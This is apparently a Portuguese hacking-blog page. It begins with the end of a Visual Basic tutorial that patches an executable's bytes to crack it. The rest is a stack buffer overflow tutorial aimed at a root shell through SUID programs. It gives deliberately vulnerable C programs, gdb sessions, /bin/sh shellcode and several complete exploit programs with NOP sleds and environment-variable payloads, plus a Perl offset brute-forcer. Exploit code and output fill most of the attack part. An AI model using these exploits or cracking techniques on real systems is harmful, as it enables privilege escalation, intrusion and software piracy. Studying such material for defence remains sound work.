strCracked = Chr(Val("&HEB")) & Chr(Val("&H43"))

bf = Space(FileLen("ex1.exe"))

Open "ex1.exe" For Binary Access Read As #1
    Get #1, , bf
Close #1

bf = Replace(bf, strNormal, strCracked)

Open "ex1[cracked].exe" For Binary Access Write As #1
    Put #1, , bf
Close #1
++++++++++++++++++++++++++++++++++++++++++++++++++++++

Bem...
espero que tenha dado pra dar uma clareada sobre como crackiar programas. Quero deixar bem claro que eu crackei e fiz cracks usando o VB... mais com isso é possível crackiar programas feitos em qualquer linguagem e fazer cracks com em qualquer linguagens também...
Si for fazer alguns testes, então aconselho a fazer naqueles  jogoguinhos mais ruins do mundo inteiro. Que até os programadores que fizeram eles, não vão si importar.
To certo! hehe
~Bye~
Read More

Como explorar falha com exploit, como criar uma shellcode e usar shellcode, invadir através de um programa, explorando com stack overflow

Iae galera,

Este tutorial é bem explicativo, de como explorar uma falha em um programa.

Então vamos começar

Stack overflow – esta é uma das técnicas mais fáceis(pelo menos que eu acho).

Não ensinarei a criar shellcodes e essas  coisas,  sei  que  e  relacionado  ao assunto  mais  segue  um  caminho totalmente  diferente com relação  ao  que  eu  quero  passar  para  vocês. Vejam o meu post que eu estou disponibilizando um livro de buffer overflow. Não percam, estou disponibilizando vários livros que eu mesmo estou traduzindo. Dêem uma olhada no blog, e procure sobre alguns dos meus livros.

Introdução

Um processador e formado por uma ULA(Unidade Lógica Aritmética), uma Unidade de Controle e pelos Registradores.

Registradores  são pequenas  áreas da memória(dentro do processador) que servem para armazenar  alguns dados para serem processados para assim não precisar de ficar pegando e tirando dados da memória!  Mais  isso  tem  um  poder  quanto  a  limitação.   Não  pense que esses dados de memórias  chegam  aos  MBytes  muito  menos aos KBytes… estou falando em registradores de alguns Bits.

Isso nos da uma limitação quando nós carregamos um programa… porque não conseguirmos executar todas as instruções sem a perda de alguns dados… Para isso existe a pilha…

A pilha(stack) é uma forma de ampliar a nossa área de atuação…   Ela é uma região da memória que foi separada para armazenar alguns dados do processamento de um programa. Vejamos a utilização de uma função em C:

——————————-

Soma (10, 4);

——————————-

Talves, o processador poderia colocar esses valores nos registradores. mas se fossem numero muito grande ou se o numero que eu quisesse

somar fosse maior que o numero de registradores? Isso ele resolve facilmente…

ele simplesmente empurra (push) esses valores para a pilha… Só que ele não pode

empurrar o 10 e depois o 4 porque a pilha não tem esse nome em vão. Ela tem esse nome justamente porque ela funciona como uma pilha de livros…

Se você colocar um livro em cima da pilha, quando você retirar, você vai tirar o

ultimo que você colocou já que ele esta no topo… Então para processar esses

parâmetros passados e necessários empurrar o 4 e em seguida o 10:

——————————-

push 4

push 10

——————————————————————————————-

Então vamos ao nosso Primeiro programa bugado(vulnerável)

Agora vamos ver como um programa faz para separar uma área de stack para

armazenar um valor! Vamos fazer o seguinte programa em C:

++++++++++++ vuln01.c +++++++++++++++

/*

Primeiro exemplo de programa bugado a stack overflow para o tutoria de Stack Overflow.

Escrito por chuck_newbie, mas em qualquer tutorial e mesma coisa .

chuck_newbie@hotmail.com

*/

#include <stdio.h>

int main(int argc, char *argv[]) {

char buffer[256];

if (argc < 2) {

printf (“Use: %s <string>n”, argv[0]);

exit(0);

}

strcpy(buffer, argv[1]);

printf (“Você digitou: %sn”, buffer);

}

++++++++++++++++++++++++++++++++

Esse e um simples programa que separa uma área no stack para armazenar

vários caracteres(no caso foi 256). Em seguida ele pega o primeiro argumento passado

pelo usuário e copia para dentro dessa variável supondo que o usuário não digite

mais que 256.

“Mais que 256”, eu falo isso porque quando você declarou a variável para aceitar até 256 caracteres, o sistema separo espaço no stack para armazenar esse valor..

Então ele disse “essa área vai ser para o variável buffer e ela terá o máximo 256 bytes… ou seja… ninguém mais vai usar ela!” e o resto do sistema não usa esse espaço na memória… mais tem um porem… Ele pode muito bem usar o que tem antes e o que tem depois…

E ele irá usar para armazenar dados importantes para nosso programa.

E se colocar-mos mais, o que aconteceria?

Vamos testar?

————————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc -o vuln01 vuln01.c

newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01

Use:  ./vuln01 <string>

newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01 chuck_newbie

Você digitou: chuck_newbie

newbie@hostnotfound:~/técnicas/stack_overflow$

————————————-

Agora entendeu como ele funciona? Ele simplesmente pega o valor que eu digitei como parâmetro e copia para dentro da variável buffer! Mais veja o seguinte:

————————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln01 `perl -e ‘print “A”x300;’`

Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$

————————————

Para quem não conhece perl, eu explico; única coisa que eu fiz agora, foi multiplicar o “A” por 300, que o resultado deu trezentos A.

Então, quando eu fiz essa multiplicação, eu mandei esse tanto de “A”, para o programa bugado, e deu erro no nosso programa:

É obvio porque deu ERRO, mais vou explicar. É Porque nós colocamos mais dados no buffer do que ele suportava.

Isso fez com que fosse sobrescrita alguma área de memória importante para o funcionamento do nosso programa.

Essa área nada mais e do que o endereço de retorno da função “strcpy”.

Debugando com o GDB

Vamos usar o programa GDB(GNU Debugger) para saber o que o sistema faz no nosso programa:

——————————–

newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb vuln01

GNU gdb 6.0

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for details.

This GDB was configured as “i486-slackware-linux”…

———————————-

Agora vamos disassemblar a função main

———————————-

(gdb) disassemble main

Dump of assembler code for function main:

0x080483c4 <main+0>:    push   %ebp

0x080483c5 <main+1>:    mov    %esp,%ebp

0x080483c7 <main+3>:    sub    $0×108,%esp

0x080483cd <main+9>:    and    $0xfffffff0,%esp

0x080483d0 <main+12>:   mov    $0×0,%eax

0x080483d5 <main+17>:   sub    %eax,%esp

0x080483d7 <main+19>:   cmpl   $0×1,0×8(%ebp)

0x080483db <main+23>:   jg     0x80483f7 <main+51>

0x080483dd <main+25>:   sub    $0xc,%esp

0x080483e0 <main+28>:   push   $0x80484f4

0x080483e5 <main+33>:   call   0x80482d0

0x080483ea <main+38>:   add    $0×10,%esp

0x080483ed <main+41>:   sub    $0xc,%esp

0x080483f0 <main+44>:   push   $0×0

0x080483f2 <main+46>:   call   0x80482e0

0x080483f7 <main+51>:   sub    $0×8,%esp

0x080483fa <main+54>:   mov    0xc(%ebp),%eax

0x080483fd <main+57>:   add    $0×4,%eax

0×08048400 <main+60>:   pushl  (%eax)

0×08048402 <main+62>:   lea    0xfffffef8(%ebp),%eax

0×08048408 <main+68>:   push   %eax

0×08048409 <main+69>:   call   0x80482f0

0x0804840e <main+74>:   add    $0×10,%esp

0×08048411 <main+77>:   sub    $0×8,%esp

0×08048414 <main+80>:   lea    0xfffffef8(%ebp),%eax

0x0804841a <main+86>:   push   %eax

0x0804841b <main+87>:   push   $0×8048506

0×08048420 <main+92>:   call   0x80482d0

0×08048425 <main+97>:   add    $0×10,%esp

0×08048428 <main+100>:  leave

0×08048429 <main+101>:  ret

0x0804842a <main+102>:  nop

End of assembler dump.

(gdb)

—————————————-

Vamos tentar entender alguma coisa dai!

Não e necessário saber Tudo.

Vamos começar nas duas primeiras linhas:

—————————————-

0x080483c4 <main+0>:    push   %ebp

0x080483c5 <main+1>:    mov    %esp,%ebp

—————————————-

Esse e o procedimento inicial de qualquer programa C compilado!

continuando:

—————————————

0x080483c7 <main+3>:    sub    $0×108,%esp

————————————–

Essa instrução subtrai 0×108(264) “ds” posição do stack(Stack Pointer – SP).

Isso serve para declararmos uma posição no stack para uma variável, e essas

coisas.

Podemos observar que existe varias chamadas(calls) para outras partes

da memória… Mais tem um porem na instrução call, você sabe como ela faz

para poder retornar na instrução seguinte?

O que eu quero saber é como o programa sabe em que endereço os “call” foram executados para poder voltar quando terminar de executá-lo!

Simples…

O nome desse endereço, é endereço de retorno(Return Address) e ele ficam armazenados no stack..

Olha que legal!

Então vejamos… Se nos separamos espaço para nossa variável de 256

caracteres e um pouco acima(isso e pilha) separamos um espaço para o

endereço de retorno o que acontece se nos colocarmos mais de 256 caracteres?

Para ficar mais claro veja o esquema?

PILHA

———————————————————————————–

| buffer[256]          | mais alguma coisa | endereco de retorno |

———————————————————————————–

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

|——————————————————————————->

Percebeu que uma hora nés sobrescrevemos o endereco de retorno?

Entao vamos ver isso na pratica :)

Vamos imprimir na tela, 272 “AS”, e mandar para nosso programa que está separando 256 bits.

——————————

(gdb) r `perl -e ‘print “A”x272;’`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x272;’`

Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

0×41414141 in ?? ()

(gdb)

——————————

Deu um erro de segmentação!

porque aonde esta 0×41414141?

—————————–

0×41414141 in ?? ()

—————————–

OBS: quando você estiver estudando este tutorial, baixe o programa debuger, e faça os mesmos teste, pois os resultados que estamos pegando está la.

VOLTANDO..

Você pode estar se perguntado o que isso prova. qual e o valor HEX do

caracteres A ? 0×41 ?

o programa tentou apontar para a posição AAAA da memória!

Se ainda não ficou muito claro vamos ver o seguinte:

——————————

(gdb) r `perl -e ‘print “A”x268 . “ABCD”;’`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x268 . “ABCD”;’`

Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAABCD

Program received signal SIGSEGV, Segmentation fault.

0×44434241 in ?? ()

(gdb)

—————————–

Agora ele tentou saltar para o endereço 0×44434241 = BCDA.. Uai, mais eu

Não digitei ABCD no final…

Sim amigo… mais se lembra que no stack o ultimo a entrar e o primeiro a sair?

Nesse caso ele empurro(push) o caractere “D” para o ultimo…

Entao ele foi o primeiro a sair(0×44).. Mais com isso nos só conseguimos fazer

um simples ataque DoS no sistema para killar algum programa e isso não nos interessa

muito! Então o que podemos fazer mais?

Como você percebeu… nós conseguimos alterar para onde o programa saltará.

Então porque não fazemos ele saltar para uma posição da memória que tenha um código

que realmente de para executar?

ta começando a clarear?

Nós podemos executar qualquer código dentro do sistema!

Agora entra um outro assunto mais antes vamos pegar um valor importante para nosso exploit inicial:

a posição da stack(Stack Pointer ou ESP) para fazer nosso exploit inicial. Veremos

que podemos usar um artifício para não precisar de saber esse valor mais inicialmente

é bom saber-mos:

————————

(gdb) info reg esp

esp            0xbffff420       0xbffff420

(gdb)

———————–

Agora vamos ao outro assunto que eu disse agora pouco!

————————————————————————————————–

Programas SUID

Programas SUID são programa que tem o bit mais ativado(chmod +s vuln01)

isso faz com que ele seja executado com as permissões  do super usuário(root)..

mais você fica limitado só a esse programa… não adianta tentar colocar ele

em background e digitar ‘id’ esperando um uid=0(root) que você  vai se decepcionar!

Aí, que nos entramos…

Se esse programa estiver vulnerável a overflow nós podemos

executar algum código dentro dele… então  nós so precisamos de executar um

/bin/sh para abrir uma shell como root… já que o programa que executo ele está

rodando com as permissões do root!

Qual código colocar na memória?

O código que deveremos colocar na memória se chama shellcode(código

de shell)… só  q ele deve ser escrito em linguagem de maquina para ser executado!

Veja o post que eu disponibilizo um livro de shellcodes em português. Logo, baixe o livro e estude. O shellcode que nos executaremos e o seguinte:

————————————-

char shellcode[] = “xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”                                   “x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”

“x80xe8xdcxffxffxff/bin/sh”;

————————————

Se você assustou, então faça o que eu disse o livro, que você vai entender como criar uma shell.

O que você precisa de saber de ante mão e que esse código  faz o mesmo que:

execl(“/bin/sh”,”/bin/sh”,0);

Só que em linguagem de maquina!

Escrevendo o Exploit

Para, aprender a criar um exploit. Veja em um de meus posts que eu estou disponilizando um livro traduzido do metasploit.

Agora que temos a shell,  vem a parte mais legal de tudo…

Vamos fazer um programa que explora esse nosso programa fazendo ele executar o nosso shellcode!

O que nos faremos e o seguinte:

Encheremos uma variável com nosso shellcode e com o endereço dele de uma

maneira que esse endereço fique corretamente sobre o endereço de retorno da seguinte

forma:

+—————————-+——————————+———————–

| buffer[256]                 |      mais alguma cosia  |         retorno       |

+————————— +——————————+———————–

| CCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRRRRRRRRRRRRRR|

onde:

C = Nosso shellcode

R = Novo endereço de retorno

O grande problema(agora) é saber para onde apontar já que ele deve apontar

corretamente no inicio do nosso shellcode… então nós teremos que fazer o endereço

de retorno apontar para a posição da pilha(ESP) já que nosso shellcode ficara lá  e

em seguida ficar chutando variações(offsets) para tentar fazer ele cair certinho aonde

queremos! Segue o código do exploit bem comentado:

+++++++++++++++++ 1_xpl.c +++++++++++++++++++++

/*

Exploit para o primeiro exemplo de programa bugado a stack overflow

Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial

*/

#define TAM    272              // Tamanho do nosso buffer até ele sobrescrever o ret

#define ESP     0xbffff420   // Posição da pinha que nos pegamos usando o GDB

//  Vamos declarar nosso shellcode

char shellcode[] =

“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”

“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”

“x80xe8xdcxffxffxff/bin/sh”;

int main(int argc, char *argv[]) {

char buffer[TAM];

long addr;  // Para armazenar o endereço do shellcode

int i;

// Armazenamos o valor do endereço  de buffer

addr = ESP;

// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)

if (argc > 1) addr += atoi(argv[1]);

printf(“Novo endereço: 0x%08xn”, addr);

// Enchemos o buffer com o esp + offset(q se tivermos sorte será aonde está nosso shellcode)

for (i = 0; i < TAM; i += 4)

*(long *)&buffer[i] = addr;

// Agora colocamos o shellcode no inicio dele

memcpy(buffer, shellcode, strlen(shellcode));

// E executamos vuln01 passando nosso buffer maligno como parâmetro

execl(“./vuln01″, “vuln01″, buffer, 0);

}

++++++++++++++++++++++++++++++++++++++++++

Agora vamos ao teste:

———————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_xpl.c -o 1_xpl

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl

Novo endereço: 0xbffff420

Você digitou: ë^1ÀFF

(um monte de trosso estranho)

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$

———————————————

Vimos que não deu de cara o inicio já que nosso shellcode não esta no inicio do stack

Então  só nos resta ficar chutando offsets de 1 em 1:

——————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 1

Novo endereco: 0xbffff421

Você digitou: ë^1ÀFF

Instrução ilegal

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 2

Novo endereco: 0xbffff422

Você digitou: ë^1ÀFF

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 3

Novo endereço: 0xbffff423

Instrução ilegal

newbie@hostnotfound:~/técnicas/stack_overflow$

——————————————

Isso e trabalhoso, né ? Logo, a função de nós(fucadores) e agilizar nosso trabalho.

Faça o seguinte script em perl:

++++++++++++ exec.pl +++++++++++++++

#!/usr/bin/perl

############################################

# Script[zinhu] para agilizar o chute dos offsets em uso nos exploits    #

# Feito por chuck_newbie – chuck_newbie@hotmail.com                      #

# use: perl exec.pl [programa] [offset inicial] [offset final] [variacao]  #

############################################

$prog=$ARGV[0];

$offset_ini=$ARGV[1];

$offset_fim=$ARGV[2];

$offset_int=$ARGV[3];

for ($i = $offset_ini; $i < $off_set_fim; $i += $offset_int) {

printf “Offset: ” . $offset_ini + $i . “n”;

system(“./$prog $i”);

}

++++++++++++++++++++++++++++++++

Agora vamos testá-lo:

——————————————–

newbie@hostnotfound:~/tecnicas/stack_overflow$ perl exec.pl 1_xpl 1 1000 1

blablablablalba

blablablablablablabla

blablablablablabla

( e depois de varios offsets )

417

Novo endereco: 0xbffff5c1

Você digitou: ë^1ÀFF

sh-2.05b$

——————————————

Executamos o /bin/sh.

Mais percebeu que foi usado o offset 417 ?

Se tivesse que fazer isso na mão quando você acertasse seu filho já conheceria essa

Técnica(supondo que você ainda não tenha nenhum)! Então vamos melhorar nosso

exploit consideravelmente usando um artifício muito bom e utilizado!

Utilizando NOP – No Operation

Um NOP e um comando em ASM que significa No Operation.. ou seja.. ele faz

uma coisa muito importante..NADA!!

O que nós poderíamos fazer é o seguinte:

- Encher nosso buffer com NOPs e depois com nosso shellcode. Isso porque se o

Endereço de retorno cair em algum NOP então ele e executado corretamente

e em seguida passa para o próximo e assim vai ate chegar ao destino?

isso!!!

No nosso querido e amado shellcode! Então nos temos que fazer nosso buffer da seguinte forma!

+—————————-+——————————+———————–

| buffer[256]                 |      mais alguma cosia  |         retorno       |

+————————— +——————————+———————–

| NNNNNNNNNNNCCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRR|

Onde:

N = NOP = 0×90(linguagem de maquina)

C = ShellCode

R = Endereço que sobrescrevera o endereço de retorno

Se você já entendeu vamos parar de falar e vamos ao código… agora, si você não entendeu leia de novo:

+++++++++++++++++ 2_xpl.c +++++++++++++++++++++

/*

Segundo exploit para o primeiro exemplo de programa bugado a stack overflow

Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial

*/

#define TAM    272

#define ESP     0xbffff420

#define NOP   0×90

//  Vamos declarar nosso shellcode

char shellcode[] =

“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”

“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”

“x80xe8xdcxffxffxff/bin/sh”;

int main(int argc, char *argv[]) {

char buffer[TAM];

long addr;  // Para armazenar o endereço do shellcode

int i;

// Armazenamos o valor do endereço de buffer

addr = ESP;

// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)

if (argc > 1) addr += atoi(argv[1]);

printf(“Novo endereço: 0x%08xn”, addr);

// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)

for (i = 0; i < TAM; i += 4) {

*(long *)&buffer[i] = addr;

}

// Vamos encher uma parte do buffer com nossos NOPs

for (i = 0; i < TAM – strlen(shellcode) – 24; i++)

buffer[i] = NOP;

printf (“Colocado %d NOPsn”, TAM – strlen(shellcode) – 24);

// Agora colocamos o shellcode depois dos nops

memcpy(buffer + i, shellcode, strlen(shellcode));

// E executamos vuln01 passando nosso buffer maligno como parâmetro

execl(“./vuln01″, “vuln01″, buffer, 0);

}

++++++++++++++++++++++++++++++++++++++++++

Agora executando:

————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 2_xpl.c -o 2_xpl

newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl

Novo endereco: 0xbffff420

Colocado 203 NOPs

Você digitou: ë^1ÀFF

(lixo)

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$

———————————–

Ainda não… Mais isso era de se esperar.

Mais ele nos deu uma informação importante… Ele nos disse que tem 203 NOPs…

Isso nos possibilita chutar offsets variando de 203 em 203.

Bem melhor do que de um em um.

Vamos tentar na unha mesmo!

———————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 200

Novo endereco: 0xbffff4e8

Colocado 203 NOPs

Você digitou: ë^1ÀFF

Instrução ilegal

newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 400

Novo endereco: 0xbffff5b0

Colocado 203 NOPs

Você digitou: ë^1ÀFF

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 600

Novo endereço: 0xbffff678

Colocado 203 NOPs

Você digitou: ë^1ÀFF

sh-2.05b$ exit

exit

———————————–

Conseguimos com apenas três chutes nos conseguimos fazer o endereço de

retorno apontar para nosso shellcode(pelo menos para um dos 203 NOPs :D )!

Vamos agora a mais um passo para facilitar a nossa vida!

Fazendo o exploit pegar o ESP

Um dos maiores problemas de escrever exploits e que as posições de memória

variam de compilação a compilação, de sistema a sistema e de execução a

execuçao! Isso quer dizer que se você fizer um exploit para sua maquina talvez ele não

funfe em outra, porque o endereço do ESP pode ter mudado drasticamente!

Mais graças a Deus podemos usar um artifício para conseguirmos pegar o nosso

Tão querido ESP dentro do nosso exploit… não entrarei em detalhes! Só teste o

seguinte:

+++++++++++ pega_esp.c ++++++++++++++++

unsigned long pega_esp(void) {

__asm__(“movl %ESP, %EAX”);

}

void main() {

printf (“Abracadabra..nAlacasan…nE nosso ESP e 0x%08x!nTchanranram!!!nn”,pega_esp());

}

++++++++++++++++++++++++++++++++++

Nossa função pega_esp() só move o vamos do ESP para o registrador EAX que

“por coincidência” e o valor do resultado das funções! Agora compile e execute:

———————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc pega_esp.c -o pega_esp

pega_esp.c: In function `main’:

pega_esp.c:5: warning: return type of `main’ is not `int’

newbie@hostnotfound:~/técnicas/stack_overflow$ ./pega_esp

Abracadabra..

Alacasan…

E nosso ESP e 0xbffff518!

Tchanranram!!!

newbie@hostnotfound:~/técnicas/stack_overflow$

———————————————

Ai esta nosso ESP!!

Agora vamos deixar em embromação e vamos a

escrita de nosso shellcode mais aperfeiçoado ainda:

+++++++++++++++ 3_xpl.c ++++++++++++++++++++++++

/*

Terceiro exploit para o primeiro exemplo de programa bugado a stack overflow

Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial

*/

#define TAM    272

#define NOP   0×90

// Nossa função[zinha] que pega o valor do nosso ESP

unsigned long pega_esp(void) {

__asm__(“movl %ESP, %EAX”);

}

//  Vamos declarar nosso shellcode

char shellcode[] =

“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”

“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”

“x80xe8xdcxffxffxff/bin/sh”;

int main(int argc, char *argv[]) {

char buffer[TAM];

long addr;  // Para armazenar o endereço do shellcode

int i;

// Armazenamos o valor do endereço de buffer

addr = pega_esp();

// Possibilitamos alterar o endereco de retorno para chutar variações(offsets)

if (argc > 1) addr += atoi(argv[1]);

printf(“Novo endereco: 0x%08xn”, addr);

// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)

for (i = 0; i < TAM; i += 4) {

*(long *)&buffer[i] = addr;

}

// Vamos encher uma parte do buffer com nossos NOPs

for (i = 0; i < TAM – strlen(shellcode) – 24; i++)

buffer[i] = NOP;

printf (“Colocado %d NOPsn”, TAM – strlen(shellcode) – 24);

// Agora colocamos o shellcode depois dos nops

memcpy(buffer + i, shellcode, strlen(shellcode));

// E executamos vuln01 passando nosso buffer maligno como parâmetro

execl(“./vuln01″, “vuln01″, buffer, 0);

}

+++++++++++++++++++++++++++++++++++++++++

Da para perceber que a única diferença e que trocamos o valor de ESP que tínhamos

antes pelo valor que acabamos de pegar! Isso facilita para rodar os xpl’s em outros

sistemas! A execução será  a mesmo:

———————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 3_xpl.c -o 3_xpl

newbie@hostnotfound:~/técnicas/stack_overflow$ ./3_xpl 600

Novo endereco: 0xbffff650

Colocado 203 NOPs

Você digitou: ë^1ÀFF

(alguns lixo da memória)

sh-2.05b$ exit

exit

———————————-

Espero amigo que esse entendimento tenha ficado bem claro para voce!

Si você quer estudar mais sobre exploração. Então veja os outros posts no meu blog, pois eu tenho 4 lindos livros(metasploit, buffer overflow, shellcode, arquitetura, assembly).

Entre no meu blog e confira as novidades, e veja os posts sobre os livros. Mas, por favor: so baixe o livro si você for realmente estudar. Si não for, não baixe.

Agora, vamos ao mais um obstáculo para nossos estudos. Veja o nosso segundo programa bugado abaixo:

+++++++++++++++++ vuln02.c ++++++++++++++++++++

#include <stdio.h>

int main(int argc, char *argv[]) {

char buffer[8];

if (argc < 2) {

printf (“Use: %s <string>n”, argv[0]);

exit(0);

}

strcpy(buffer, argv[1]);

printf (“Você digitou: %sn”, buffer);

}

+++++++++++++++++++++++++++++++++++++++++++

Repare que ele esta vulneravel da mesma forma que o anterior… Só que tem um

grande problema! O buffer só tem 16 bytes e não caberá nem NOPs nem o ShellCode

dentro dele porque o próprio shellcode sobrescrevera o endereço de retorno!

Mais podemos ver perfeitamente que ele esta vulnerável:

————————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc vuln02.c -o vuln02

newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02

Use: ./vuln02 <string>

newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02 chuck_newbie

Você digitou: chuck_newbie

newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x30;’`

Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$ ulimit -c 1234567

newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x29 . “BCDE”;’`

Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE

Falha de segmentação (core dumped)

newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb -c core

GNU gdb 6.0

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for details.

This GDB was configured as “i486-slackware-linux”.

Core was generated by `./vuln02 AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE’.

Program terminated with signal 11, Segmentation fault.

#0  0×44434241 in ?? ()

(gdb)

———————————

Podemos ver perfeitamente que nos podemos sobrescrever o endereço de retorno

do programa vulnerável para apontar para outro lugar! Mais não podemos colocar

nosso shellcode com nossos nops nessa variável porque não caberia… Mais eu nunca

disse que eles precisam estar nessa variável! E só colocar ele em qualquer outro

lugar da memória e fazer ele apontar para lá! Um bom lugar seria as variáveis de

ambiente porque elas(quando declaradas no nosso programa) vão para o topo to stack!

Então nosso exploit só precisa de setar uma variável  de ambiente com nossos

NOPs e nosso shellcode e fazer o programa bugado apontar para lá, que no caso seria

mais perto to topo do stack do que no exemplo anterior!

Então vamos ao exploit:

++++++++++++++++++++ 1_2_xpl.c +++++++++++++++++++

/*

Exploit para o segundo programa bugado a stack overflow

com um buffer muito pequeno! Desenvolvedor por Chuck_NewBie

chuck_newbie@hotmail.com

*/

#include <stdio.h>

#define ENV_LEN             4096 // Pode ser bem grande q naum tem problema

#define BUF_LEN              32

#define NOP                     0×90

unsigned long pega_esp(void) {

__asm__(“movl %esp, %eax”);

}

char shellcode[] =

“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”

“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”

“x80xe8xdcxffxffxff/bin/sh”;

int main(int argc, char *argv[]) {

char *buffer, *var_amb;

int i;

long new_ret;

// Pegamos a posição do stack e adicionamos offsets se desejado

new_ret = pega_esp();

if (argc > 1) new_ret += atoi(argv[1]); // Adiciona offset

// Alocamos espaco para a variável buffer e enchemos soh o o novo endereco

buffer = malloc(BUF_LEN);

if (buffer == NULL) {

fprintf (stderr, “Erro ao alocar memória para o buffer!n”);

exit(-1);

}

for (i = 0; i <BUF_LEN; i += 4)

*(long *)&buffer[i] = new_ret;

// Agora que o buffer jah ta feito precisamos de criar nossa varaivel de ambiente!

var_amb = malloc(ENV_LEN);

if (var_amb == NULL) {

fprintf (stderr, “Erro ao alocar memória para ambiente!n”);

exit(-1);

}

// Agora colocas um monte de nops no inicio dela

for (i = 0; i < ENV_LEN – strlen(shellcode) – 1; i++) // -1 porque tem q ter o NULL Char no final

var_amb[i] = NOP;

memcpy(var_amb + i, shellcode, strlen(shellcode)); // Colocamos nosso shellcode logo depois dos nops

var_amb[ENV_LEN] = 0;                                             // Colocamos o NULL Char

setenv(“B4D_R37″, var_amb, 1);                                 // Setamos a varaivel com nome B4D_R37

execl(“./vuln02″, “vuln02″, buffer, 0);                        // Executamos o programa vulneravel

